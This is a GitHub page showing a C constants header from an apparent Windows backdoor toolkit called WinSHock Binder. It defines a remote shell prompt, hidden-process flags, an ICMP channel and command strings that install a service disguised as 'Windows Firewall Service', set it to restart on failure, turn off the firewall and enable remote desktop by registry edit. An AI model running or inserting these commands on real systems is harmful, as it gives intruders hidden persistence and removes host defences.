This repository has been archived by the owner on Sep 15, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 3
/
wsbind_const.c
78 lines (63 loc) · 2.68 KB
/
wsbind_const.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// WinSHock Binder (WsBind) Constants Stub
//
// Copyright (C) 2020 iDigitalFlame
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published
// by the Free Software Foundation, either version 3 of the License, or
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
#ifndef WSB_LOADED
#define WSB_LOADED 1
#define WSB_NULLS "\0"
#define WSB_LSTRING 256
#define WSB_NEWLINE "\n\0"
#define WSB_FAIL 0
#define WSB_SUCCESS 1
#define WSB_TRUE 1
#define WSB_FALSE 0
#define WSP_HIDDEN_PROC 1
#define WSP_NON_HIDDEN_PROC 0
#define WSP_NO_USER "NONE_MAPPED"
#define WSP_HIDDEN_ATTR 0x08000000
#define WSC_ICMP_CHUNK 64
#define WSC_ICMP_WAIT_TIME 1250
#define WSS_BASIC_EXIT "exit\n\0"
#define WSS_BASIC_PROMPT "WinSh0ck[%d]> \0"
#define WSW_SVC_PATH_END ".exe"
#define WSW_SVC_PATH_ARGS "%s %s\0"
#define WSW_SVC_START "sc start %s\0"
#define WSW_SVC_PATH_START "C:\\Windows\\system32\\"
#define WSW_SVC_SET_START "sc config %s start= %s\0"
#define WSW_SVC_INSTALL "sc create %s binPath= \"%s\"\0"
#define WSW_SVC_DEFAULT_NAME "Windows Firewall Service\0"
#define WSW_SVC_SET_FAILURE "sc failure %s reset= 0 actions= restart/%d\0"
#define WSW_CMD_TS_ENABLE "sc start TermService\0"
#define WSW_CMD_FIREWALL_OFF "netsh firewall set opmode disable\0"
#define WSW_CMD_TS_ALLOW_ALL "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\0"
#define WSB_ERROR_COMM_UNRESOLVED -1000
#define WSB_ERROR_COMM_NO_RESULTS -1003
#define WSB_ERROR_COMM_INVALID_SOCK -1001
#define WSB_ERROR_COMM_ICMP_BAD_HANDLE -1004
#define WSB_ERROR_SHELL_INIT_BAD_SOCK -1100
#define WSB_ERROR_SHELL_INIT_BAD_RESP -1101
#define WSB_ERROR_PROC_DEBUG_NO_TOKEN -1200
#define WSB_ERROR_PROC_DEBUG_CANT_LOOKUP -1201
#define WSB_ERROR_PROC_DEBUG_CANT_ADJUST -1202
#define WSB_ERROR_PROC_MEM_NO_HANDLE -1203
#define WSB_ERROR_PROC_MEM_NO_ADDRESS -1204
#define WSB_ERROR_PROC_MEM_NO_ALLOC -1205
#define WSB_ERROR_PROC_MEM_NO_WRITE -1206
#define WSB_ERROR_PROC_EXEV_NO_PIPE -1207
#define WSB_ERROR_PROC_EXEV_NO_SET_PIPE -1208
#define WSB_ERROR_PROC_EXEV_CMD_NO_EXIST -1209
#define WSB_ERROR_UTIL_CANT_OPEN_FILE -1300
#endif